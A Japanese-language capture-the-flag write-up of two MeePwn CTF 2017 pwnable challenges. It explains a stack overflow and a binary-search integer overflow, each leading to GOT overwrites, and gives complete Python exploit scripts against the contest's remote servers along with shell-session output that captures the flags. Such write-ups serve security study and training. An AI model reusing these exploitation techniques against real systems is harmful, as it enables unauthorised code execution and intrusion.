MeePwn CTF 1st 2017 old school, bs Writeup
shpxで参加してました。
pwn2問解いて201点、108位。
Writeup
The Biginning (Misc 1)
MeePwnCTF{HellO_WorLd!}
old school (Pwnable 100)
ELF 64-bit、動的リンク、SSPとNX有効
% file oldschool_27e20fd0de79d5d1a69f957120c370ed oldschool_27e20fd0de79d5d1a69f957120c370ed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped % checksec -f oldschool_27e20fd0de79d5d1a69f957120c370ed RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 5 oldschool_27e20fd0de79d5d1a69f957120c370ed
% ./oldschool_27e20fd0de79d5d1a69f957120c370ed -------- BookStore -------- 1. Add Book. 2. Edit Book. 3. Delete Book. 4. Show Books. 5. Exit. Choice:
以下の4つの機能がある。
- 本の追加:題名(0x20bytes),著者名(0x20bytes),本文の長さ(2bytes),本文(0x100まで?の任意長)をスタックにpushし、そのアドレスをテーブルに追加
- 本の編集:元の長さを維持したまま内容を変更(題名,著者名はstrlenで取得した長さを元に、本文は本文の直前に格納されている長さを元にreadする)
- 本の削除:テーブルから削除する
- 本の表示:テーブルに保存されている本の内容を表示する
著者名を0x20bytes入力すると本文の長さを格納している部分まで文字列の一部とみなされ、2.で本文の長さを変えられる。本文を1byteで作成してから長さを0xffにするとスタックバッファオーバーフローによってスタック上に保存されているテーブルの値を変えることができる。これによってテーブルの値をGOTのアドレスに書き換えて2.でGOTを上書きする。そしてstrlenをsystemに変えてシェルを起動する。
#!/usr/bin/env python from pwnlib import * def add_book(name,author,desc): s.sendline('1') if len(name) < 0x20: name += '\n' if len(author) < 0x20: author += '\n' s.send(name) s.send(author) s.sendline(str(len(desc))) s.send(desc) s.recvuntil(':Description:') def edit_book(index,name,author,desc): s.sendline('2') s.sendline(str(index)) s.send(name) s.send(author) s.send(desc) s.recvuntil(':Description:') if __name__ == '__main__': if len(sys.argv) == 1: s = Local('./oldschool_27e20fd0de79d5d1a69f957120c370ed') else: s = Remote('139.59.244.42',31340) strlen_got = 0x602028 strlen_offset = 0x8b720 system_offset = 0x45390 add_book('A','A'*0x20,'A') edit_book(1,'A','A'*0x20+'\xff','A'*0xe7 + '\x00' + p32(1) + p64(strlen_got-0x20) + '\n') s.sendline('2') s.sendline('1') s.recvuntil('Author: ') libc_base = u64(s.recv(6)) - strlen_offset print '[*] libc base is', hex(libc_base) s.sendline('') s.send(p64(libc_base + system_offset)) s.sendline('') add_book('/bin/sh','A','A') s.sendline('2') s.sendline('2') s.interact()
% ./exploit.py remote [*] libc base is 0x7fdc67d61000 [*] Switching to interactive mode -------- BookStore -------- 1. Add Book. 2. Edit Book. 3. Delete Book. 4. Show Books. 5. Exit. Choice:Book name:Author:Length of Description: $ Description:-------- BookStore -------- 1. Add Book. 2. Edit Book. 3. Delete Book. 4. Show Books. 5. Exit. Choice:------------ 1 ------------ Name: h!5h Author: c Description: ------------ 2 ------------ Name: /bin/sh Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/ Description: / ls Which book do you want to edit ?Book name:bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ cd home $ ls oldschool $ cd oldschool $ ls flag oldschool $ cat flag MeePwnCTF{0ld_sch00ld_C4n4ry_1s_0n_th3_st4ck}
bs (Pwnable 100)
ELF 32-bit、動的リンク、NX有効
% file bit bit: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=21102c8ebc9b555cd0f480b28f0ffb7a423a49f7, not stripped % checksec -f bit RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 bit
このプログラムの流れは以下の通り
- パスワードを要求する
- パスワードがあっていれば(パスワードは/dev/urandomから取ってきた値なので厳しい)user_idを0に設定する
- パスワードがあっていなければuser_idを0でない255以下の値を入力させる
- user_idの下位2bytesが0ならばis_rootに1を設定する(つまり0xffff0000を入力すればいい)
- 数列を入力させる(is_rootが1のときは長さ0x7fまで可能で、is_rootが0のときは長さ0x1fの数列しか入力できない)
- 数列をbubble_sortでソートする
- 入力した数値を二分探索で探索する
- 数列に入力した数値が存在するならば、その数値の位置からインデックスが大きくなる方向に向かって数列の値を1要素ずつ変更できる
- 存在しなければ終了する
% ./bit Enter your password: hoge Please set your user_id: 1 [BINARY SEARCH SYSTEM] How many numbers do you want to sort ? 2 Enter 2 integers 10 5 You can review all your numbers. Enter -1 to break 0 0xa 1 0x5 -1 Enter value to find 5 MID[0] is 0x5 5 found at 0 !!! ARRAY[0] = 5 Do you want to edit it ? y Enter new value 20 ARRAY[1] = 10 Do you want to edit it ? n ARRAY[2] = 0 Do you want to edit it ? q Bye !
二分探索は以下のようなコードになっていて、nを大きな値にするとinteger overflowする。mが負の値になったときに探索が終了するようにvalの値を操作すると、その付近にあるGOTの値を変えることができる。
void binary_search(int a[], char n, int val) { char l = 0, r = n-1; while (l < r) { char m = (l + r) / 2; if (a[m] < val) { l = m + 1 } else if (a[m] == val) { // found } else { r = m - 1; } } // not found }
制御をloginまで戻し、openをisasciiに変えて0を出力させることでreadを標準入力から読み込ませて/bin/shを入力すると同時に、memcmpをsystemに変えてシェルを起動する。
080485cb <login>: 80485cb: 55 push ebp 80485cc: 89 e5 mov ebp,esp 80485ce: 83 ec 38 sub esp,0x38 80485d1: 83 ec 08 sub esp,0x8 80485d4: 6a 00 push 0x0 80485d6: 68 50 8c 04 08 push 0x8048c50 ; /dev/urandom 80485db: e8 a0 fe ff ff call 8048480 <open@plt> 80485e0: 83 c4 10 add esp,0x10 80485e3: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 80485e6: 83 ec 04 sub esp,0x4 80485e9: 6a 10 push 0x10 80485eb: 8d 45 e4 lea eax,[ebp-0x1c] 80485ee: 50 push eax 80485ef: ff 75 f4 push DWORD PTR [ebp-0xc] 80485f2: e8 39 fe ff ff call 8048430 <read@plt> 80485f7: 83 c4 10 add esp,0x10 80485fa: 83 ec 0c sub esp,0xc 80485fd: 68 5d 8c 04 08 push 0x8048c5d 8048602: e8 59 fe ff ff call 8048460 <puts@plt> 8048607: 83 c4 10 add esp,0x10 804860a: 83 ec 04 sub esp,0x4 804860d: 6a 10 push 0x10 804860f: 8d 45 d4 lea eax,[ebp-0x2c] 8048612: 50 push eax 8048613: 6a 00 push 0x0 8048615: e8 16 fe ff ff call 8048430 <read@plt> 804861a: 83 c4 10 add esp,0x10 804861d: 83 ec 04 sub esp,0x4 8048620: 6a 10 push 0x10 8048622: 8d 45 d4 lea eax,[ebp-0x2c] 8048625: 50 push eax 8048626: 8d 45 e4 lea eax,[ebp-0x1c] 8048629: 50 push eax 804862a: e8 21 fe ff ff call 8048450 <memcmp@plt>
#!/usr/bin/env python from pwnlib import * if __name__ == '__main__': if len(sys.argv) == 1: s = Local('./bit') system_offset = 0x3a940 read_offset = 0xd4350 isascii_offset = 0x25010 else: s = Remote('128.199.135.210',31335) system_offset = 0x3b020 read_offset = 0xd82a0 isascii_offset = 0x24f80 login_addr = 0x80485d6 start = -42 read_got = -21 memcmp_got = -19 open_got = -16 scanf_got = -13 match_val = 0x804836c s.send("hoge") s.sendline("-65536") n = 0x7e s.sendline(str(n)) for i in range(n): s.sendline('0') s.sendline('-1') s.sendline(str(match_val)) for i in range(-start): if i == read_got - start: s.sendline('n') s.recvuntil('ARRAY[%d] = ' % read_got) libc_base = int(s.recvline()) - read_offset print '[*] libc base is', hex(libc_base) elif i == memcmp_got - start: s.sendline('y') s.sendline(str(libc_base + system_offset)) elif i == scanf_got - start: s.sendline('y') s.sendline(str(login_addr)) elif i == open_got - start: s.sendline('y') s.sendline(str(libc_base + isascii_offset)) else: s.sendline('n') s.sendline('y') s.sendline('/bin/sh\x00') s.sendline('/bin/sh\x00') s.recvuntil('Enter your password:\n') s.interact()
% ./exploit.py remote [*] libc base is 0xf75e8000 [*] Switching to interactive mode $ ls bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old $ cd home $ ls bs meepo $ cd bs $ ls bit flag $ cat flag MeePwnCTF{C_1n73g3r_0v3v3rFl0w}